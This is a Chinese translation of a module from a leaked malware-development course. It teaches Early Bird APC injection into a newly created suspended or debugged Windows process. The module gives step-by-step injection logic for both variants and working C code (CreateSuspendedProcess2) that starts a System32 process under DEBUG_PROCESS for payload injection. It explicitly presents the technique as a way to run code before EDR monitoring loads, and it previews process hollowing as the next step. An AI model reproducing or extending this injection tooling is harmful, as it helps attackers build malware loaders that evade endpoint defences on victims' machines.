模块 40 - 早起鸟 (Early Bird) APC 注入
恶意软件开发课程 - 早起鸟 (Early Bird) APC 注入
模块 40 - 早起鸟 (Early Bird) APC 注入#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
早起鸟 (Early Bird) APC 注入#
简介#
在上一模块中,QueueUserAPC 被用于执行本地 APC 注入。在本模块中,相同的 API 将被用于在远程进程中执行 Payload。虽然方法略有不同,但使用的核心原理是相同的。
到目前为止,应该已经清楚地了解到,APC 注入需要挂起或处于可警报状态的线程才能成功执行 Payload。然而,在正常的系统运行中,很难遇到处于这些状态的线程,特别是那些在普通用户权限下运行的线程。
解决方案是使用 CreateProcess WinAPI 创建一个挂起的进程,并使用其挂起线程的句柄。挂起的线程完全符合 APC 注入的标准。这种方法被称为 早起鸟 (Early Bird) APC 注入。
💡 初学者提示:为什么叫“早起鸟”?
“早起的鸟儿有虫吃”。
在这种技术中,我们在进程的生命周期极早期(还在初始化阶段,主逻辑还没开始跑时)就把 Payload 塞进它的 APC 队列。当进程被“唤醒”(Resume)时,它做的第一件事就是去检查并执行 APC 队列里的任务。
这能让我们的代码在目标进程的任何安全监控逻辑(如某些应用层钩子)启动之前就运行,从而达到规避检测的目的。
早起鸟实现逻辑 (1)#
这种技术的实现逻辑如下:
- 使用
CREATE_SUSPENDED标志创建一个挂起的进程。 - 将 Payload 写入新目标进程的地址空间。
- 从
CreateProcess获取挂起线程的句柄,连同 Payload 的基地址一起传递给QueueUserAPC。 - 使用
ResumeThreadWinAPI 恢复线程以执行 Payload。
早起鸟实现逻辑 (2)#
上一节解释的实现逻辑非常直接。本节介绍实现早起鸟 APC 注入的另一种替代方法。
仍然会使用 CreateProcess,但进程创建标志将从 CREATE_SUSPENDED 更改为 DEBUG_PROCESS。DEBUG_PROCESS 标志会将新进程创建为被调试进程,并使本地进程成为其调试器。当进程作为被调试进程创建时,其入口点将放置一个断点。这会暂停进程并等待调试器(即恶意软件)恢复执行。
发生这种情况时,Payload 被注入到目标进程中,并使用 QueueUserAPC WinAPI 执行。一旦 Payload 被注入并且远程调试线程已排队等待运行 Payload,就可以使用 DebugActiveProcessStop ↗ WinAPI 将本地进程与目标进程分离,从而停止对远程进程的调试。
DebugActiveProcessStop 只需要一个参数,即被调试进程的 PID,该 PID 可以从 CreateProcess 填充的 PROCESS_INFORMATION 结构中获取。
更新后的实现逻辑#
更新后的实现如下:
- 通过设置
DEBUG_PROCESS标志创建一个被调试进程。 - 将 Payload 写入新目标进程的地址空间。
- 从
CreateProcess获取被调试线程的句柄,连同 Payload 的基地址一起传递给QueueUserAPC。 - 使用
DebugActiveProcessStop停止远程进程的调试,这将恢复其线程并执行 Payload。
早起鸟 APC 注入函数#
CreateSuspendedProcess2 是一个执行早起鸟 APC 注入的函数,需要 4 个参数:
lpProcessName- 要创建的进程的名称。dwProcessId- 指向接收新创建进程 PID 的 DWORD 的指针。hProcess- 指向接收新创建进程句柄的 HANDLE 的指针。hThread- 指向接收新创建进程线程句柄的 HANDLE 的指针。
BOOL CreateSuspendedProcess2(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) {
CHAR lpPath [MAX_PATH * 2];
CHAR WnDr [MAX_PATH];
STARTUPINFO Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
// 通过将元素值设置为 0 来清理结构
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
// 设置结构的大小
Si.cb = sizeof(STARTUPINFO);
// 获取 %WINDIR% 环境变量路径(通常是 'C:\Windows')
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 创建目标进程路径
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
printf("\n\t[i] Running : \"%s\" ... ", lpPath);
// 创建进程
if (!CreateProcessA(
NULL,
lpPath,
NULL,
NULL,
FALSE,
DEBUG_PROCESS, // 使用调试模式代替 CREATE_SUSPENDED
NULL,
NULL,
&Si,
&Pi)) {
printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
return FALSE;
}
printf("[+] DONE \n");
// 使用 CreateProcessA 的输出填充输出参数
*dwProcessId = Pi.dwProcessId;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
// 进行检查以验证我们是否获得了所需的一切
if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
return TRUE;
return FALSE;
}c演示#
下图显示了处于调试状态的新创建目标进程。在 Process Hacker 中,被调试的进程以紫色高亮显示。

接下来,将 Payload 写入目标进程。

最后,Payload 被成功执行。

🎯 总结#
在本模块中,我们学习了:
- Early Bird APC 注入:利用进程初始化的“窗口期”执行代码。
- 创建挂起进程:通过
CREATE_SUSPENDED或DEBUG_PROCESS标志来“冻结”一个新进程。 - 调试器手法:通过
DEBUG_PROCESS创建进程,并在注入完成后用DebugActiveProcessStop悄悄离开。
💡 关键要点
- 早起鸟注入是恶意软件中最常见的注入技术之一,因为它非常有效且相对隐蔽。
- 许多 EDR 会在进程启动后才加载它们的检测 DLL。等 EDR 的 DLL 加载并开始监控时,我们的早起鸟 Payload 可能已经运行完毕或者已经完成了某些加固操作。
- 在
DEBUG_PROCESS模式下,系统会自动为我们处理线程的恢复,这比手动调用ResumeThread看起来更自然一些(尽管被调试本身是一个很明显的信号)。
📚 下一步学习
下一个模块将介绍 Process Hollowing (进程镂空/替换)。这是一种更高阶的技术,它不只是“借用”别人的线程,而是直接“夺舍”——把一个合法进程的代码抠掉,换成我们自己的代码,但进程名和路径看起来还是合法的!